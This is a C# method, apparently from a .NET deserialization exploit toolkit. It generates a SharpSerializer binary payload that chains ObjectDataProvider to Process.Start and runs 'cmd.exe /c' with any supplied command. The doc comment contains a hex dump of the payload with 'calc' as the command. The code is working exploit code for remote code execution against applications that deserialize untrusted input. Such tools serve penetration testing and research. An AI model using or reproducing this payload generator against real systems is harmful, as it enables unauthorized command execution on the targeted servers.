/// <summary> /// Generates the SharpSerializer binary payload with a supplied command. /// </summary> /// <param name="command">The command</param> /// <returns>The payload byte array.</returns> /// <remarks> /// /// Standard SharpSerializer version of ObjectDataProvider "calc" serialized object hex view: /// /// 00000000 01 06 01 04 52 6F 6F 74 01 0E 4F 62 6A 65 63 74 ....Root..Object /// 00000010 49 6E 73 74 61 6E 63 65 01 09 53 74 61 72 74 49 Instance..StartI /// 00000020 6E 66 6F 01 08 46 69 6C 65 4E 61 6D 65 01 09 41 nfo..FileName..A /// 00000030 72 67 75 6D 65 6E 74 73 01 0A 4D 65 74 68 6F 64 rguments..Method /// 00000040 4E 61 6D 65 01 03 01 80 01 53 79 73 74 65 6D 2E Name...€.System. /// 00000050 57 69 6E 64 6F 77 73 2E 44 61 74 61 2E 4F 62 6A Windows.Data.Obj /// 00000060 65 63 74 44 61 74 61 50 72 6F 76 69 64 65 72 2C ectDataProvider, /// 00000070 20 50 72 65 73 65 6E 74 61 74 69 6F 6E 46 72 61 PresentationFra /// 00000080 6D 65 77 6F 72 6B 2C 20 56 65 72 73 69 6F 6E 3D mework, Version= /// 00000090 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 4.0.0.0, Culture /// 000000A0 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 =neutral, Public /// 000000B0 4B 65 79 54 6F 6B 65 6E 3D 33 31 62 66 33 38 35 KeyToken=31bf385 /// 000000C0 36 61 64 33 36 34 65 33 35 01 65 53 79 73 74 65 6ad364e35.eSyste /// 000000D0 6D 2E 44 69 61 67 6E 6F 73 74 69 63 73 2E 50 72 m.Diagnostics.Pr /// 000000E0 6F 63 65 73 73 2C 20 53 79 73 74 65 6D 2C 20 56 ocess, System, V /// 000000F0 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 ersion=4.0.0.0, /// 00000100 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C Culture=neutral, /// 00000110 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D PublicKeyToken= /// 00000120 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 b77a5c561934e089 /// 00000130 00 02 00 00 01 02 02 01 01 01 01 01 01 02 01 02 ................ /// 00000140 01 02 01 02 06 01 03 01 02 01 07 63 6D 64 2E 65 ...........cmd.e /// 00000150 78 65 06 01 04 01 02 01 07 2F 63 20 63 61 6C 63 xe......./c calc /// 00000160 06 01 05 01 02 01 05 53 74 61 72 74 .......Start /// /// </remarks> internal static byte[] GenerateSharpSerializerBinaryPayload(string command) { if (command == null) { command = string.Empty; } // First chunk of binary-serialized ObjectDataProvider bytes. IEnumerable <byte> firstPayloadPart = Convert.FromBase64String("" + "AQYBBFJvb3QBDk9iamVjdEluc3RhbmNlAQlTdGFydEluZm8BCEZpbGVOYW1lAQlB" + "cmd1bWVudHMBCk1ldGhvZE5hbWUBAwGAAVN5c3RlbS5XaW5kb3dzLkRhdGEuT2Jq" + "ZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249" + "NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1" + "NmFkMzY0ZTM1AWVTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBW" + "ZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49" + "Yjc3YTVjNTYxOTM0ZTA4OQACAAABAgIBAQEBAQECAQIBAgECBgEDAQIBB2NtZC5l" + "eGUGAQQBAgE="); // Bytes that include the cmd, arguments and length data. // [2 bytes 7-bit-encoded length]["/c "][<cmd>] byte[] cmdArgumentsPartBytes = Encoding.ASCII.GetBytes("/c "); byte[] commandBytes = Encoding.ASCII.GetBytes(command); IEnumerable <byte> commandLengthBytes = AdvancedBinaryFormatterParser.Calculate7BitEncodedInt(cmdArgumentsPartBytes.Length + commandBytes.Length); // Second chunk of binary-serialized ObjectDataProvider bytes. IEnumerable <byte> secondPayloadPart = Convert.FromBase64String( "BgEFAQIBBVN0YXJ0"); List <byte> payload = new List <byte>(); payload.AddRange(firstPayloadPart); payload.AddRange(commandLengthBytes); payload.AddRange(cmdArgumentsPartBytes); payload.AddRange(commandBytes); payload.AddRange(secondPayloadPart); return(payload.ToArray()); }